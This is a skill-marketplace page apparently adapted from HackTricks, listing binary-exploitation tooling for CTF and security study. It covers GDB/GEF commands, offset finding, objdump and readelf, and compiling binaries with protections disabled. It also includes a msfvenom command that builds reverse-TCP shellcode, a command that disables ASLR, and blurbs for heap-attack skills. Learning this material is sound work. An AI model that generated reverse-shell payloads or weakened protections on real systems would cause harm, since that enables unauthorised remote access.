skills/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/tools/SKILL.md
A comprehensive guide to binary exploitation tools and techniques. Use this skill whenever the user needs help with buffer overflow exploitation, reverse engineering, debugging binaries, or working with tools like GDB, Metasploit, Ghidra, or analyzing vulnerable binaries. Trigger for any binary exploitation task, CTF challenges, vulnerability analysis, or when the user mentions stack overflows, shellcode, ROP gadgets, or binary analysis.
npx skillsauth add abelrguezr/hacktricks-skills binary-exploitation-toolsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill provides reference material for binary exploitation tools and techniques. Use it to understand tool usage, debug vulnerabilities, and craft exploits.
# Generate unique pattern for buffer overflow testing
pattern_create.rb -l 3000 # Length of pattern
# Find offset from crashed register value
pattern_offset.rb -l 3000 -q 5f97d534 # Search offset from register value
# Convert assembly to opcodes
nasm_shell.rb
nasm> jmp esp # Get opcodes for shellcode
# Scan for jump instructions in binary
msfelfscan -j esi /opt/fusion/bin/level01
# Generate reverse TCP shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \
[EXITFUNC=thread] [-e x86/shikata_ga_nai] \
-b "\x00\x0a\x0d" -f c
# Parameters:
# -p: Payload type
# -e: Encoder (shikata_ga_nai for polymorphic)
# -b: Bad characters to avoid
# -f: Output format (c, python, ruby, raw, etc.)
# Install GDB
apt-get install gdb
# Common parameters
-q # No banner
-x <file> # Auto-execute GDB instructions from file
-p <pid> # Attach to running process
# Execution control
run # Execute program
start # Start and break at main
n/next/ni # Execute next instruction (no step into)
s/step/si # Execute next instruction (step into)
c/continue # Continue until next breakpoint
quit # Exit GDB
# Register manipulation
p system # Find address of system function
set $eip = 0x12345678 # Change EIP register value
# Disassembly
disassemble main # Disassemble function
disassemble 0x12345678 # Disassemble at address
set disassembly-flavor intel # Use Intel syntax
set follow-fork-mode child # Follow child process after fork
set follow-fork-mode parent # Follow parent process
# Breakpoints
br func # Break at function
br *func+23 # Break at function + offset
br *0x12345678 # Break at address
del <NUM> # Delete breakpoint by number
watch EXPRESSION # Break when expression value changes
# Information commands
info functions # List all functions
info functions func # Info about specific function
info registers # Show register values
bt # Backtrace stack
bt full # Detailed backtrace
print variable # Print variable value
print 0x87654321 - 0x12345678 # Calculate expression
# Memory examination (x/examine)
# Format: x/<num><format><size> <address>
# Formats: o=octal, x=hex, d=decimal, u=unsigned, t=bin, i=instruction, s=string, c=char
# Sizes: b=byte, h=halfword(2B), w=word(4B), g=giant(8B)
x/o 0xDir_hex # Examine octal at address
x/2x $eip # 2 words from EIP
x/2x $eip -4 # 2 words from EIP - 4
x/8xb $eip # 8 bytes from EIP
i r eip # Value of EIP register
x/w pointer # Value at pointer address
x/s pointer # String pointed to by pointer
x/xw &pointer # Address where pointer is stored
x/i $eip # Instructions at EIP
GEF is a GDB enhancement plugin with additional features:
# Memory commands
help memory # Help on memory command
canary # Search for canary value in memory
checksec # Check binary protections
p system # Find system function address
search-pattern "/bin/sh" # Search in process memory
vmmap # Get memory mappings
xinfo <addr> # Show page info, size, perms, offset
# Memory watching
memory watch 0x784000 0x1000 byte # Watch memory region
memory watch $_got()+0x18 5 # Watch GOT table entry
# Vulnerability detection
format-string-helper # Detect insecure format strings
heap-analysis-helper # Check heap issues (NULL free, UAF, double free)
# Pattern tools
pattern create 200 # Generate 200-byte pattern
pattern search "avaaawaa" # Search for substring offset
pattern search $rsp # Search offset from register value
# Shellcode
shellcode search x86 # Search available shellcodes
shellcode get 61 # Download shellcode #61
# Memory dump
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
# GOT table
got # Check GOT table
# Method to find offset to RIP:
# 1. Set breakpoint after function that overwrites RIP
# 2. Send pattern to overflow
# 3. Use 'i f' to see saved RIP value
# 4. Search pattern with that value
gef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
GDB may show different addresses than the running binary. To ensure consistency:
unset env LINES
unset env COLUMNS
set env _=<absolute_path_to_binary>
# Use same absolute path when exploiting
# Ensure PWD and OLDPWD are identical in both contexts
For statically linked binaries, use backtrace to identify function flow:
# Run binary, stop at input prompt with CTRL+C, then:
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
# Start GDB server on target machine
gdbserver --multi 0.0.0.0:23947
# In IDA, configure remote debugging with absolute path
Ghidra helps identify buffer overflow offsets through local variable positions:
local_bc indicates offset of 0xbclocal_10 is a canary, offset from local_bc to canary is 0xac# Compile without protections for testing
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack \
1.2.c -o 1.2
# Flags explained:
# -fno-stack-protector: Disable stack canaries
# -D_FORTIFY_SOURCE=0: Disable buffer overflow protection
# -z norelro: Disable RELRO protection
# -z execstack: Make stack executable
# -g: Include debug symbols for GDB
# -o: Output filename
# Disable ASLR temporarily
echo 0 > /proc/sys/kernel/randomize_va_space
# Compile shellcode
nasm -f elf assembly.asm # Create object file
ld assembly.o -o shellcodeout # Link to executable
# Disassembly
objdump -d executable # Disassemble executable sections
objdump -d -Mintel executable # Intel syntax
objdump -D executable # Disassemble all sections
# Symbol and section analysis
objdump -t executable # Symbol table
objdump -s -j .dtors executable # DTORS section
objdump -s -j .got executable # GOT section
objdump -D -s -j .plt executable # PLT section decompiled
objdump -TR executable # Relocations
# Find specific addresses
objdump -t --dynamic-relo ./exec | grep puts # Puts address in GOT
objdump -D ./exec | grep "VAR_NAME" # Static variable address
# Enable core dumps
ulimit -c unlimited
# Set core dump location
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
# Analyze core dump
sudo gdb --core=<path/to/core> --quiet
# Find libc address (changes with ASLR)
ldd executable | grep libc.so.6
# Check if address changes (ASLR active)
for i in $(seq 0 20); do ldd <executable> | grep libc; done
# Find function offsets in libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
# Find string offsets in libc
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# Trace system calls
strace executable
# List all function addresses
rabin2 -i executable
!mona modules # Get module protections
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for JMP ESP
linux_server or linux_server64 from IDA folder to Linux target./linux_server64 -Ppasschecksec or compile with protections disabledobjdump, readelf, or strings to find system, /bin/shobjdump -d -Mintel | grep retreadelf -s libc.so.6 | grep systemstrings -a -t x libc.so.6 | grep /bin/shmsfvenom for payloadsnasm and verify with objdumpecho 0 > /proc/sys/kernel/randomize_va_space or use information leakchecksec and disable for testing| Tool | Purpose | Key Command |
|------|---------|-------------|
| GDB | Debugging | gdb -q ./binary |
| GEF | Enhanced GDB | pattern create 200 |
| Metasploit | Exploitation | msfvenom -p ... |
| Ghidra | Reverse engineering | Analyze local variables |
| Objdump | Binary analysis | objdump -d -Mintel |
| Readelf | ELF analysis | readelf -s |
| Strings | String extraction | strings -a -t x |
| Strace | System call tracing | strace ./binary |
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.